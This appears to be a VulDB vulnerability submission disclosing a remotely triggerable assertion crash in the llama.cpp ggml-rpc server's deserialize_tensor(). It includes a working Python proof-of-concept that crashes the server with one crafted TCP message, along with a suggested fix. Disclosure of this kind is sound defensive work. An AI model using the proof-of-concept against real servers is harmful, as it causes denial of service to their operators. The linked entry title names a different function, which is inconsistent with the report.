| Titolo | ggml-org llama.cpp confirmed on commit d006858 / 2025-04-03 and commit e15efe0 / tag b8635+1) Reachable Assertion |
|---|
| Descrizione | ## CVSS
**CVSS 3.1 Vector:** AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CVSS 3.1 Score:** 7.5 High
---
## Summary
The `deserialize_tensor()` function in llama.cpp's ggml-rpc server passes attacker-controlled tensor dimension values (`ne[0]`) directly to `ggml_new_tensor_4d()` without validating that `ne[0]` is a multiple of the tensor type's block size. For quantized types (Q4_0, Q4_1, Q5_0, Q5_1, Q8_0, etc.) with block sizes of 32 or 256, sending `ne[0]=1` triggers `assert(ne % ggml_blck_size(type) == 0)` in `ggml_row_size()` at `ggml/src/ggml.c:1293`, crashing the RPC server with SIGABRT.
No authentication is required. Two TCP messages (HELLO handshake + one crafted SET_TENSOR/GET_TENSOR command) crash the server. Six different RPC commands (SET_TENSOR, GET_TENSOR, SET_TENSOR_HASH, INIT_TENSOR, COPY_TENSOR, GRAPH_COMPUTE) all exercise the vulnerable `deserialize_tensor()` path.
This is distinct from CVE-2026-34159 (GHSA-j8rj-fmpv-wcxw), which patches a `buffer=0` data pointer bypass in `create_node()` a different function in the GRAPH_COMPUTE path only. The CVE-2026-34159 fix (PR #20908) does not touch `deserialize_tensor()` dimension validation.
---
## Technical Details
### Vulnerable Code
The function validates type range and block size, but does NOT check dimension alignment:
```cpp
// ggml-rpc.cpp, deserialize_tensor():
if (tensor->type >= GGML_TYPE_COUNT) { return nullptr; } // ✓ type range
if (ggml_blck_size((enum ggml_type)tensor->type) == 0) { return nullptr; } // ✓ block size
// BUG: ne[0] passed directly from attacker without alignment check
ggml_tensor * result = ggml_new_tensor_4d(ctx, (ggml_type) tensor->type,
tensor->ne[0], tensor->ne[1], tensor->ne[2], tensor->ne[3]);
```
### Assertion in ggml_row_size()
```c
size_t ggml_row_size(enum ggml_type type, int64_t ne) {
assert(ne % ggml_blck_size(type) == 0); // ← CRASHES: 1 % 32 != 0
return ggml_type_size(type)*ne/ggml_blck_size(type);
}
```
### Release Build Risk
The `assert()` is the C standard macro, compiled away by `-DNDEBUG` in release builds. With the assertion removed, `ggml_row_size()` computes a zero-size row via integer truncation (`type_size * 1 / 32 = 0`), which represents a violated safety invariant. Current downstream checks incidentally prevent escalation, but this is fragile.
---
## Exploit / PoC
**File:** `poc-012-rpc-tensor-assert.py` (Python 3)
**Reproduction:**
```python
import socket, struct
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 50052))
# HELLO
sock.sendall(b"\x0e" + struct.pack("<Q", 0))
sock.recv(1024)
# Crafted rpc_tensor: type=Q4_0 (2), ne[0]=1 (misaligned to blck_size=32)
tensor = bytearray(296)
struct.pack_into("<I", tensor, 8, 2) # type = Q4_0
struct.pack_into("<I", tensor, 20, 1) # ne[0] = 1 (NOT multiple of 32)
struct.pack_into("<I", tensor, 24, 1) # ne[1] = 1
struct.pack_into("<I", tensor, 28, 1) # ne[2] = 1
struct.pack_into("<I", tensor, 32, 1) # ne[3] = 1
payload = bytes(tensor) + struct.pack("<Q", 0) + struct.pack("<Q", 64)
sock.sendall(b"\x08" + struct.pack("<Q", len(payload))) # GET_TENSOR
sock.sendall(payload)
# Server crashes: assert(ne % ggml_blck_size(type) == 0) → SIGABRT
```
---
## Suggested Fix
```cpp
size_t blck = ggml_blck_size((enum ggml_type)tensor->type);
if (blck > 0 && tensor->ne[0] % blck != 0) {
GGML_LOG_ERROR("[%s] ne[0] (%u) not aligned to block size (%zu)\n",
__func__, tensor->ne[0], blck);
return nullptr;
}
```
---
## Discovery
- **Tool:** Crucible fuzzer — `harness_rpc.cpp` libFuzzer harness
- **Date:** 2026-04-03
- **Confirmed on:** llama.cpp commit d006858 and e15efe0 |
|---|
| Utente | m00dy (UID 97162) |
|---|
| Sottomissione | 07/04/2026 03:37 (4 mesi fa) |
|---|
| Moderazione | 26/07/2026 19:33 (4 months later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 383353 [ggml-org llama.cpp d006858/e15efe0 json-schema-to-grammar.cpp _visit_pattern negazione del servizio] |
|---|
| Punti | 17 |
|---|